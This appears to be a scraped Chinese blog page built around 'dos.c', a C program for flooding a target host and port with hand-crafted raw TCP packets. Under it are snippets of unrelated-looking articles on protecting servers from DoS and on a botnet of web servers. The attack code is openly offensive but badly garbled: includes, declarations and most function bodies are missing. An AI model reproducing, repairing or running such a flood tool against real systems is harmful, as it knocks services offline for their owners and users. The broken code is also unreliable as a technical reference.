/*
* dos.c
* * created on: jun 10, 2014
* author: lexus
*/#include #include #include #include #include #include #include #include #include #include #include #define localport 11810
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
destport = atoi(argv[2]);
printf("no is attacking host %s with port %d../n",argv[1],destport);
//printf("ok started!/n");
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=af_inet;
addr.sin_port=htons(destport);
if(inet_aton(argv[1],&addr.sin_addr)==0)
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}/**** 使用ipproto_tcp建立乙個tcp的原始套接字 ****/
sockfd=socket(af_inet,sock_raw,ipproto_tcp);
if(sockfd<0)
/******** 設定ip資料報格式,告訴系統核心模組ip資料報由我們自己來填寫 ***/
setsockopt(sockfd,ipproto_ip,ip_hdrincl,&on,sizeof(on));
/**** 沒有辦法,只用超級護使用者才可以使用原始套接字 *********/
setuid(getpid());
/********* 傳送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}/******* 傳送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
}/* 下面是首部校驗和的演算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
if(nleft==1)
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
伺服器 防Dos攻擊
引用 dos的攻擊方式有很多種,最基本的dos攻擊就是利用合理的服務請求來占用過多的服務資源,從而使伺服器無法處理合法使用者的指令。長沙美德高防ddos攻擊手段是在傳統的dos攻擊基礎之上產生的一類攻擊方式。單一的dos攻擊一般是採用一對一方式的,當被攻擊目標cpu速度低 記憶體小或者網路頻寬小等等...
讓Apache伺服器遠離DoS攻擊
原貼 http blog.chinaunix.net u 21012 showart 145897.html 讓apache伺服器遠離dos攻擊 讓apache伺服器遠離dos攻擊 想像你擁有一家外賣快餐店,你同一條街上的競爭對手一直都想把你擠垮。你過去晚上的工作一向是井井有條的,可是有乙個晚上,你...
「殭屍網路」利用Web伺服器發起DoS攻擊
imperva安全公司近日發現了一種發起新型dos攻擊 拒絕伺服器攻擊 的殭屍網路。該殭屍網路不像平常那樣利用pc而是盜用web伺服器來發起dos攻擊。imperva安全公司星期三表示,其發現了一名為 honeypot 的web伺服器被用來發起攻擊,他們順藤摸瓜發現了乙個覆蓋約300部web伺服器的...